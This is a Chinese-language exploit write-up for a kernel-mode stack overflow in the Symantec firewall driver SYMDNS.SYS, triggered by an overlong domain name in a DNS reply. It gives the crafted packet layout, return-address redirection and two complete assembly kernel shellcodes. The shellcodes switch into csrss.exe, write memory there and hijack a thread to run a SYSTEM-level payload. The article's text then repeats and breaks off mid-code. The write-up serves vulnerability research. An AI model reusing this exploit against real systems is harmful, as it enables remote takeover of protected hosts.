SYMANTEC防火墙内核堆栈溢出漏洞利用方法总结
SoBeIt
原来根据FLASHSKY大牛在峰会上的报告分析了这个漏洞写了两篇随笔,,因为写得仓促,里面难免有不少错漏,朋友建议我汇总一下,也方便日后参考,于是把两篇文章汇总并做了些修改。
这个漏洞与大多数堆栈溢出漏洞不同的是它是发生在内核态里。堆栈溢出发生于SYMANTEC防火墙的驱动SYMDNS.SYS中,当处理DNS答复时,由于未检验总域名长度,导致可以输入一超长域名导致溢出,溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。
一个DNS报文格式如下:
"/xEB/x0B" //报文ID,可以随意设置,但在这个漏洞里是别有用途的,后面会说到
"/x80/x00" //报文FLAG,15位置1表示这是一个答复报文
"/x00/x01" //问题数量
"/x00/x01" //答复数量
"/xXX/xXX" //授权资源记录数,在这里不重要,随便设置
"/xXX/xXX" //格外信息资源记录数,在这里不重要,随便设置
以上部分为DNS报文头
"/xXX/xXX/x..." //域名,格式为每个分段域名长度+域名内容,比如 www.buaa.edu.cn就是
/x03/x77/x77/x77/x04/x62/x75/x61/x61/x03/x65/x64/x75/x02/x63/x6e/x00
w w w b u a a e d u c n
/x00表示到了末尾。处理的时候会把那长度记录数换成0x2e,就是".",就完成了处理。
在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处,这个函数在堆栈里分配了0x214个字节空间,再将域名拷入,虽然会计算总长度并做限制,但由于计算错误,算了也是白算,导致可以输入超长域名发生堆栈溢出。传入的每个域名分段有最大长度限制,不能超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了该函数的返回地址。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中返回地址之前的SHELLCODE的后半部分面目全非、惨不忍睹。现在有两种执行SHELLCODE的方法:
一是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址,是一个在非分页池的地址,
74816d74 4c816c9b 816d002e 816c9e34
|_____esp指向这 |_______这个就是非分页池的地址
现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧?/xEB/x0B是一个直接跳转的机器指令,跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX进行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分,可以省下不少字节^_^。
二是在堆栈里覆盖的返回地址的esp+0x8处开始执行我们的SHELLCODE,返回地址之后的SHELLCODE那个函数不会做处理。但如果SHELLCODE实在太长的话会覆盖到有关DPC调度的一些信息。一个变通的方法,可以先跳回返回地址前的SHELLCODE的前半部分没被修改的部分,可以执行接近200个字节,再跳到返回地址后的SHELLCODE部分执行,这样空间就应该足够了。但由于堆栈中的SHELLCODE的每个段开始的0x3f已经被换成了0x2e,0x2e不单独对应机器码,所以只能在每个SHELLCODE段的最后部分改成/xeb/x01跳过0x2e。
在安全返回法里,由于要取出堆栈里后面函数的返回地址,不能覆盖太多,只能使用第一种方法在池中执行SHELLCDOE,安全返回法的内核态SHELLCODE只有230个字节左右,池中还剩下310个字节左右可以利用。在非安全返回法由于关于DPC调度、被锁定的资源等关键数据所处堆栈位置距离溢出点比较大,所以可以在堆栈中执行。
安全返回法
现在当前环境是0号进程,要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别,就是该进程基本不挂在所有进程的链表上,比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程,这样很麻烦而且代码很长,但天无绝人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址,由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址,而且8号进程是挂在除SessionProcessLinks之外的其它链表上的,所以现在我们能够获取其它进程EPROCESS地址了。下一步是切换进程地址空间,从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值,结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE,这个选择很重要,因为当前IRQL = 2,任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误,因为缺页会导致页面I/O,最后会在对象上等待,这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统,当一个线程等待过久就会导致该线程的内核堆栈被换出内存,这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e byte KernelStackResident)是否为TRUE,为TRUE表示该线程内核堆栈未被换出内存。这又关系到究竟该选择哪个系统进程,选择系统进程这样返回的SHELL是SYSTEM的权限,该进程必须是个活跃的进程,才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的,因为在大多情况下这是一个0工作集的空闲进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe,因为想想看WIN32的子系统无论怎样都应该闲不住吧:),事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头,该链表链住了该进程的所有线程,链表位置在ETHREAD+0x1a4处:
struct _EPROCESS (sizeof=648)
+000 struct _KPROCESS Pcb
+050 struct _LIST_ENTRY ThreadListHead
+050 struct _LIST_ENTRY *Flink
+054 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+000 struct _KTHREAD Tcb
+1a4 struct _LIST_ENTRY ThreadListEntry
+1a4 struct _LIST_ENTRY *Flink
+1a8 struct _LIST_ENTRY *Blink
或者EPROCESS+0x270处取链表头,链表位置在ETHREAD+0x240处:
struct _EPROCESS (sizeof=648)
+270 struct _LIST_ENTRY ThreadListHead
+270 struct _LIST_ENTRY *Flink
+274 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+240 struct _LIST_ENTRY ThreadListEntry
+240 struct _LIST_ENTRY *Flink
+244 struct _LIST_ENTRY *Blink
剩下的就是在该进程地址空间内分配虚拟地址,锁定,并拷贝SHELLCODE过去,依次调用API为:ZwOpenProcess(这里要注意,如果没改变CR3的话这个调用会导致蓝屏,因为地址空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP,它是保存在KTRAP_FRAME+0x68处,把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底InitialStack-x29c的地方,ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中,类似push 0x12345678; ret这样的格式,代码就会返回12345678的地址,所以在内存中就是/x68/x78/x56/x34/x12/xc3,将原来的返回地址覆盖那个12345678就行了,在执行完我们的功能代码后线程会恢复正常执行。
最后一段是一些固定的针对该漏洞的特征返回,主要是取出未被覆盖的返回地址并让EBP恢复正常,并设置特定的寄存器值以满足返回后的检测条件。这里我跳过了所有剩下的在SYMDNS.SYS的调用,因为那些函数都会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!UDPDeliver处的调用,返回这里有个好处,就是它完全不管你处理了什么、怎么处理,它只管检测返回值eax是否为0,很符合我们的要求,呵呵。
这个SHELLCODE大概只有3/4的成功率,因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。。有关内核溢出里最大的问题估计就是缺页的问题了,由于IRQL = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在IRQL = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。
SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,没提供完整的SHELLCODE,因为一是只是为了技术研究,而是不想被那些对技术一窍不通却只想着破坏的人利用。转成机器码只有230多个字节,基本不算太大:):
__declspec(naked) JustTest()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebx, 0xffdff55c
mov ebx, dword ptr [ebx]
mov ebx, dword ptr [ebx+0x44]
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov edx, dword ptr [ebx+0x50]
FindThread:
movzx ecx, byte ptr [edx-0x86]
dec ecx
jecxz go3
mov edx, dword ptr [edx]
jmp FindThread
go3:
mov eax, dword ptr [ebx+0x18]
mov ebp, esp
sub esp, 0x40
push edx
mov cr3, eax
push 0x10
pop ecx
xor eax, eax
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [edx+0x3c]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx-0x7c]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x210]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x11c
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]
mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x100
xor eax, eax
mov esi, dword ptr [esp+0x38]
mov ebp,esp
add ebp,0x88
ret 0x2c
}
}
非安全返回法二
没实现非安全返回法一,因为里面的技术要点都包括在安全返回法和非安全返回法二里了,而且限制实在太大,很让人不爽。主要就是那个BAT的下载文件的内容,可以参见相关文章。
正如FLASHSKY所说,非安全返回法二的关键在于恢复DPC,不象安全返回法,我们完全不必关心线程切换和DPC调度。不过FLASHSKY夸大了DPC被破坏的情况,尤其是环境切换,就算在安全返回法里,在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的,以下是KPCR结构中涉及到DPC调度的部分:
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3[2]
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4[2]
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
DPC的处理方法有两种,一种是把KDPC对象串上DpcListHead。在KiIdleLoop或KiDispatchInterrupt里,系统检测到当前DPC链表不为空,于是调用KiRetireDpcList,KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员,显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE,然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象,DPC调度发生的频率是相当高的,但大部分时间都是处理定时器KTIMER过期DPC,很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法,我们处于DPC调度中,DpcRoutineActive和DpcInterruptRequested都为TRUE,进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以,在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复,但就会降低溢出的成功率,因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏)。其实系统中有些蓝屏是系统有意调用KeBugCheck以防止你做某些事,这些事情如果你处理得好是不会对系统产生影响的,比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换,但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能,就是我们对内核感兴趣的原因,能够控制整个操作系统真的很爽,扯远了,呵呵。恢复DPC有个技巧,既然上一次KiIdleLoop的调用是KiRetireDpcList,那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令:
call nt!KiRetireDpcList
cmp dword ptr [ebx+0x128],0x0
如果不改动这里的话环境切换后系统恢复到这里执行,下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空,但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了,切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚,加上0x2d,使它变为调用了SwapContext后的下一条指令:
call nt!SwapContext
lea ebp,[ebx+0x800]
显然ebp已经恢复了,DPC调度可以继续进行了。
恢复DPC我们有两种选择,一是将当前DPC跳过,二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便,可以省下不少代码,也是我使用的方法,不过有一个小问题,就是无法再PING通,会产生网络已被中断的错觉,其实网络是通的,SHELL也拿得到。第二种方法虽然网络功能一切正常,不过远程的机器会出现一些异常,比如开始菜单无法再用,当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁,该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方,所以可以很安全取到。
下一步就是进行环境切换,要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处,把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处,并把IDLE线程状态(ETHREAD+02d byte State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp,记住,从这里开始我们已经处于新线程的堆栈中了,如果你之前有什么重要的信息压在IDLE线程的堆栈里,赶快在切换ESP前出栈吧。还有一点很重要的是,由于我们是强行把一个处于等待状态的线程进行环境切换并运行(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了,其机率快可以比上抽六合彩了),就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别,前者是处于等待状态且内核栈未被换出的线程链表,而后者是处于等待状态且内核堆栈已被换出的线程链表),否则就会在KiOutSwapKernelStack处发生死循环。最后就是直接返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的),系统就会接管工作了(这里需要提出的是,其实IDLE线程自从被赋于KPCR+0x128并被改为待命后,早在第一个int 0x2e就被调度执行了)。
我开始时SHELLCODE的结构是先完成其它功能,再环境切换,结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g,系统都一切正常,但如果直接g或者干脆前面就没下过断点那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题,结果被郁闷了N次,主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈,而后面又直接修改回正常值(IDLE的KernelStack, 在ETHREAD+0x28处,是个不变的值,不修改的话调度后会返回到错误的回址),估计问题发生在这里,所以我把SHELLCODE前后结构改了,先环境切换再完成其它功能,这样不会再干预IDLE的内核栈,事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本,把所有可有可无的代码全去掉了,比如修改KPCR中某些不会用到的成员的代码全去掉了,甚至连线程状态都没改,还是保持在等待状态,反正系统正常环境切换也不会检测正在运行的线程是什么状态,呵呵。
下面是内核SHELLCODE代码,转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概350个字节。这段代码是在池中执行的,换成在堆栈中执行时记得把里面一些关于堆栈的偏移地址修正一下:
__declspec(naked)JustTest2()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebp, 0xffdff80c
mov ebx, dword ptr [ebp-0x2b0]
mov ebx, dword ptr [ebx+0x44]
xor eax, eax
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov dword ptr [ebp], eax
mov esi, dword ptr [esp+0x33c]
mov byte ptr [esi+0x2d], al
lea esi, dword ptr [ebx+0x50]
FindThread:
mov esi, dword ptr [esi]
test byte ptr [esi-0x86], 0x1
jnz go3
jmp FindThread
go3:
mov edx, dword ptr [ebx+0x18]
sub esi, 0x1a4
mov ebx, 0xffdff000
// lea ecx, dword ptr [ebp-0xc]
mov ebp, dword ptr [ebx+0x124]
mov dword ptr [ebx+0x128], ebp
inc byte ptr [ebp+0x2d]
mov edi, dword ptr [ebp+0x28]
add dword ptr [edi+0x8], 0x2d
// mov ebp, dword ptr [edi-0x8]
// add ebp, 0x4
// mov edi, dword ptr [ecx]
// mov dword ptr [edi], ebp
// mov dword ptr [ebp+4], edi
// mov dword ptr [ecx], ebp
mov dword ptr [ebx+0x124], esi
mov cl, byte ptr [esi+0x2c]
mov byte ptr [ebx+0x50], cl
mov ebp, dword ptr [esi+0x5c]
mov edi, dword ptr [esi+0x60]
mov dword ptr [edi], ebp
mov dword ptr [ebp+0x4], edi
pop edi
push dword ptr [esi+0x1c]
pop dword ptr [ebx+0x8]
mov esp, dword ptr [esi+0x28]
mov ecx, dword ptr [esi+0x20]
mov dword ptr [ebx+0x18], ecx
mov ebp, dword ptr [ebx+0x3c]
mov word ptr [ebp+0x3a], cx
shr ecx, 0x10
mov byte ptr [ebp+0x3c], cl
shr ecx, 0x8
mov byte ptr [ebp+0x3f], cl
mov ebp, dword ptr [ebx+0x40]
mov dword ptr [ebp+0x1c], edx
mov cr3, edx
push edi
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push 0x10
pop ecx
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [esi+0x1e0]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx+0x128]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x1a0]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x19a
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]
mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
mov ebx, dword ptr [esp+0x14]
add esp, 0x5c
pop ecx
mov dword ptr [ebx], ecx
popfd
ret
}
}
//后的代码是用于第二种DPC恢复的。
后记:
内核溢出是一个全新的领域,里面有很多东西值得我们去探索。这篇文章就算是抛砖引玉,如果能给大家有所帮助,也就算达到目的了。很多地方都有很多不足,尤其是非安全返回法,还没找到能让系统完全恢复原样的方法。如果有什么错漏处或者可以改进的地方,欢迎向我提出。
SoBeIt
原来根据FLASHSKY大牛在峰会上的报告分析了这个漏洞写了两篇随笔,,因为写得仓促,里面难免有不少错漏,朋友建议我汇总一下,也方便日后参考,于是把两篇文章汇总并做了些修改。
这个漏洞与大多数堆栈溢出漏洞不同的是它是发生在内核态里。堆栈溢出发生于SYMANTEC防火墙的驱动SYMDNS.SYS中,当处理DNS答复时,由于未检验总域名长度,导致可以输入一超长域名导致溢出,溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。
一个DNS报文格式如下:
"/xEB/x0B" //报文ID,可以随意设置,但在这个漏洞里是别有用途的,后面会说到
"/x80/x00" //报文FLAG,15位置1表示这是一个答复报文
"/x00/x01" //问题数量
"/x00/x01" //答复数量
"/xXX/xXX" //授权资源记录数,在这里不重要,随便设置
"/xXX/xXX" //格外信息资源记录数,在这里不重要,随便设置
以上部分为DNS报文头
"/xXX/xXX/x..." //域名,格式为每个分段域名长度+域名内容,比如 www.buaa.edu.cn就是
/x03/x77/x77/x77/x04/x62/x75/x61/x61/x03/x65/x64/x75/x02/x63/x6e/x00
w w w b u a a e d u c n
/x00表示到了末尾。处理的时候会把那长度记录数换成0x2e,就是".",就完成了处理。
在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处,这个函数在堆栈里分配了0x214个字节空间,再将域名拷入,虽然会计算总长度并做限制,但由于计算错误,算了也是白算,导致可以输入超长域名发生堆栈溢出。传入的每个域名分段有最大长度限制,不能超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了该函数的返回地址。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中返回地址之前的SHELLCODE的后半部分面目全非、惨不忍睹。现在有两种执行SHELLCODE的方法:
一是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址,是一个在非分页池的地址,
74816d74 4c816c9b 816d002e 816c9e34
|_____esp指向这 |_______这个就是非分页池的地址
现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧?/xEB/x0B是一个直接跳转的机器指令,跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX进行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分,可以省下不少字节^_^。
二是在堆栈里覆盖的返回地址的esp+0x8处开始执行我们的SHELLCODE,返回地址之后的SHELLCODE那个函数不会做处理。但如果SHELLCODE实在太长的话会覆盖到有关DPC调度的一些信息。一个变通的方法,可以先跳回返回地址前的SHELLCODE的前半部分没被修改的部分,可以执行接近200个字节,再跳到返回地址后的SHELLCODE部分执行,这样空间就应该足够了。但由于堆栈中的SHELLCODE的每个段开始的0x3f已经被换成了0x2e,0x2e不单独对应机器码,所以只能在每个SHELLCODE段的最后部分改成/xeb/x01跳过0x2e。
在安全返回法里,由于要取出堆栈里后面函数的返回地址,不能覆盖太多,只能使用第一种方法在池中执行SHELLCDOE,安全返回法的内核态SHELLCODE只有230个字节左右,池中还剩下310个字节左右可以利用。在非安全返回法由于关于DPC调度、被锁定的资源等关键数据所处堆栈位置距离溢出点比较大,所以可以在堆栈中执行。
安全返回法
现在当前环境是0号进程,要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别,就是该进程基本不挂在所有进程的链表上,比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程,这样很麻烦而且代码很长,但天无绝人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址,由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址,而且8号进程是挂在除SessionProcessLinks之外的其它链表上的,所以现在我们能够获取其它进程EPROCESS地址了。下一步是切换进程地址空间,从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值,结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE,这个选择很重要,因为当前IRQL = 2,任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误,因为缺页会导致页面I/O,最后会在对象上等待,这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统,当一个线程等待过久就会导致该线程的内核堆栈被换出内存,这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e byte KernelStackResident)是否为TRUE,为TRUE表示该线程内核堆栈未被换出内存。这又关系到究竟该选择哪个系统进程,选择系统进程这样返回的SHELL是SYSTEM的权限,该进程必须是个活跃的进程,才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的,因为在大多情况下这是一个0工作集的空闲进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe,因为想想看WIN32的子系统无论怎样都应该闲不住吧:),事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头,该链表链住了该进程的所有线程,链表位置在ETHREAD+0x1a4处:
struct _EPROCESS (sizeof=648)
+000 struct _KPROCESS Pcb
+050 struct _LIST_ENTRY ThreadListHead
+050 struct _LIST_ENTRY *Flink
+054 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+000 struct _KTHREAD Tcb
+1a4 struct _LIST_ENTRY ThreadListEntry
+1a4 struct _LIST_ENTRY *Flink
+1a8 struct _LIST_ENTRY *Blink
或者EPROCESS+0x270处取链表头,链表位置在ETHREAD+0x240处:
struct _EPROCESS (sizeof=648)
+270 struct _LIST_ENTRY ThreadListHead
+270 struct _LIST_ENTRY *Flink
+274 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+240 struct _LIST_ENTRY ThreadListEntry
+240 struct _LIST_ENTRY *Flink
+244 struct _LIST_ENTRY *Blink
剩下的就是在该进程地址空间内分配虚拟地址,锁定,并拷贝SHELLCODE过去,依次调用API为:ZwOpenProcess(这里要注意,如果没改变CR3的话这个调用会导致蓝屏,因为地址空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP,它是保存在KTRAP_FRAME+0x68处,把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底InitialStack-x29c的地方,ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中,类似push 0x12345678; ret这样的格式,代码就会返回12345678的地址,所以在内存中就是/x68/x78/x56/x34/x12/xc3,将原来的返回地址覆盖那个12345678就行了,在执行完我们的功能代码后线程会恢复正常执行。
最后一段是一些固定的针对该漏洞的特征返回,主要是取出未被覆盖的返回地址并让EBP恢复正常,并设置特定的寄存器值以满足返回后的检测条件。这里我跳过了所有剩下的在SYMDNS.SYS的调用,因为那些函数都会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!UDPDeliver处的调用,返回这里有个好处,就是它完全不管你处理了什么、怎么处理,它只管检测返回值eax是否为0,很符合我们的要求,呵呵。
这个SHELLCODE大概只有3/4的成功率,因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。。有关内核溢出里最大的问题估计就是缺页的问题了,由于IRQL = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在IRQL = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。
SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,没提供完整的SHELLCODE,因为一是只是为了技术研究,而是不想被那些对技术一窍不通却只想着破坏的人利用。转成机器码只有230多个字节,基本不算太大:):
__declspec(naked) JustTest()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebx, 0xffdff55c
mov ebx, dword ptr [ebx]
mov ebx, dword ptr [ebx+0x44]
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov edx, dword ptr [ebx+0x50]
FindThread:
movzx ecx, byte ptr [edx-0x86]
dec ecx
jecxz go3
mov edx, dword ptr [edx]
jmp FindThread
go3:
mov eax, dword ptr [ebx+0x18]
mov ebp, esp
sub esp, 0x40
push edx
mov cr3, eax
push 0x10
pop ecx
